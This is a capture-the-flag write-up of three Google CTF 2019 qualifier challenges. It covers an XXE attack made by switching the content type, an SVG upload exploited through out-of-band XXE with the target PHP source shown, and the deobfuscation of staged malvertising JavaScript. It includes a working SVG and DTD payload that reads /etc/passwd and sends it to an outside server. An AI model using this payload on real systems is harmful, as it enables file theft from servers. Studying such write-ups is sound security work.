# Google CTF 2019 Quals ## bnv (web - 155 pts) ### Description There is not much to see in this enterprise-ready™ web application. ### Exploit Content-Type change `application/json` to `application/xml` for XXE Attack. ## gphoto (web - 500 pts) ### Description Upload your photoz. FYI: /info.php Alternative: http://gphotos2.ctfcompetition.com:1337 ### Exploit To get source code, change path to `?action=src`. (look view-source index.php) ```htmlmixed= <?php require_once('config.php'); error_reporting( E_ALL ); session_start(); // totally not copy&pasted from somewhere... function get_size($file, $mime_type) { if ($mime_type == "image/png"||$mime_type == "image/jpeg") { $stats = getimagesize($file); $width = $stats[0]; $height = $stats[1]; } else { $xmlfile = file_get_contents($file); $dom = new DOMDocument(); $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); $svg = simplexml_import_dom($dom); $attrs = $svg->attributes(); $width = (int) $attrs->width; $height = (int) $attrs->height; } return [$width, $height]; } function workdir() { $d = 'upload/'.md5(session_id()); if (!is_dir($d)) mkdir($d); return $d; } function list_photos() { $d = 'upload/'.md5(session_id()); if (!is_dir($d)) return []; $result = []; foreach(glob("{$d}/*.*") as $f) { if (strrpos($f, 'small') === FALSE) $result[basename($f)] = $f; } return $result; } function upload() { if (!isset($_FILES['photo'])) return; $p = new PhotoUpload($_FILES['photo']['tmp_name']); $p->thumbnail(); } class PhotoUpload { private $failed = false; function __construct($path) { $formats = [ "image/gif" => "gif", "image/png" => "png", "image/jpeg" => "jpg", "image/svg+xml" => "svg", // Uncomment when launching gVideoz //"video/mp4" => "mp4", ]; $mime_type = mime_content_type($path); if (!array_key_exists($mime_type, $formats)) { die; } $size = get_size($path, $mime_type); if ($size[0] * $size[1] > 65536) { die; } $this->ext = $formats[$mime_type]; $this->name = hash_hmac('md5', uniqid(), $secret).".{$this->ext}"; move_uploaded_file($path, workdir()."/{$this->name}"); } function thumbnail() { exec(escapeshellcmd('convert '.workdir()."/{$this->name}".' -resize 128x128 '.workdir()."/{$this->name}_small.jpg"), $out, $ret); if ($ret) $this->failed = true; } function __destruct() { if ($this->failed) { shell_exec(escapeshellcmd('rm '.workdir()."/{$this->name}")); } } } if (isset($_GET['action'])) { switch ($_GET['action']) { case 'upload': upload(); header('Location: ?'); die; break; case 'src': show_source(__FILE__); die; default: break; } } ?> <html> <head> <title>gPhotoz</title> </head> <body> <div> <form action="?action=upload" method="POST" enctype="multipart/form-data"> <input type="file" name="photo"><input type="submit" value="Upload"> </form> </div> <div> <?php foreach(list_photos() as $name => $path): ?> <div> <a href="<?=$path?>" alt="<?=$name?>"><img src="<?=$path.'_small.jpg'?>"></a> </div> <?php endforeach ?> </div> </body> <a href="?action=src"></a> </html> ``` I can upload `png`,`jpg`,`gif`,`svg` at this server. If upload `svg`, it try to parse using `loadXML` in `get_size` function. Finally it make thumbnail using ImageMagick. Its vulnerable to XXE. Make a payload based on out-of-bound XXE. oob_xxe.svg: ```xml <?xml version="1.0"?> <!DOCTYPE foo [ <!ELEMENT svg ANY> <!ENTITY % load SYSTEM "http://SERVER/xxe.dtd"> %load; %temp; ]> <svg>&exp;</svg> ``` xxe.dtd: ```dtd <!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> <!ENTITY % temp "<!ENTITY exp SYSTEM 'http://SERVER/?%file;'>"> ``` After upload oob_xxe.svg in server, we can leak /etc/passwd. ``` root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin ... ``` Next i try to leak ImageMagick config file. It is default config. So, i use lots of dangerous commands. ``` drwxr-xr-x 21 user user 4096 Jun 21 07:33 . drwxr-xr-x 21 user user 4096 Jun 21 07:33 .. drwxr-xr-x 2 nobody nogroup 4096 Jun 21 07:33 bin drwxr-xr-x 2 nobody nogroup 4096 Mar 28 09:12 boot drwxrwxrwt 3 user user 100 Jun 23 23:47 dev drwxr-xr-x 52 nobody nogroup 4096 Jun 21 07:33 etc -rw------- 1 admin admin 37 Jun 21 07:26 flag -rwsr-xr-x 1 admin admin 810616 Jun 4 13:02 get_flag ... ``` Execute get_flag, then got a flag. **FLAG :** CTF{8d62b2ffc578227e67ca8bab53420ded} ## Malvertising (rev - 140 pts) ### Description Unravel the layers of malvertising to uncover the Flag ### Exploit Problem page seems to youtube. But, It is phising site. So, We can get malicious js file.(Stage1) **Stage1** load another js file if access this page with android.(Stage2) **Stage2** is check some information. I used below link code for brute force. When value set `LINUX10000FR1000000MOZILLA`, it load new js file. (Stage3) ```javascript= var dJs = document.createElement('script'); dJs.setAttribute('src','./src/npoTHyBXnpZWgLorNrYc.js'); document.head.appendChild(dJs); ``` **Stage3** is dirty js code, but it similar to Stage1. I try to decrypt value using \_0x5877 function. `_0x5877('0x86', '^9I*')` is return another js file's path. ``` ./src/WFmJWvYBQmZnedwpdQBU.js ``` It contain alert code with **flag**. ``` alert("CTF{I-LOVE-MALVERTISING-wkJsuw}") ``` **FLAG :** CTF{I-LOVE-MALVERTISING-wkJsuw}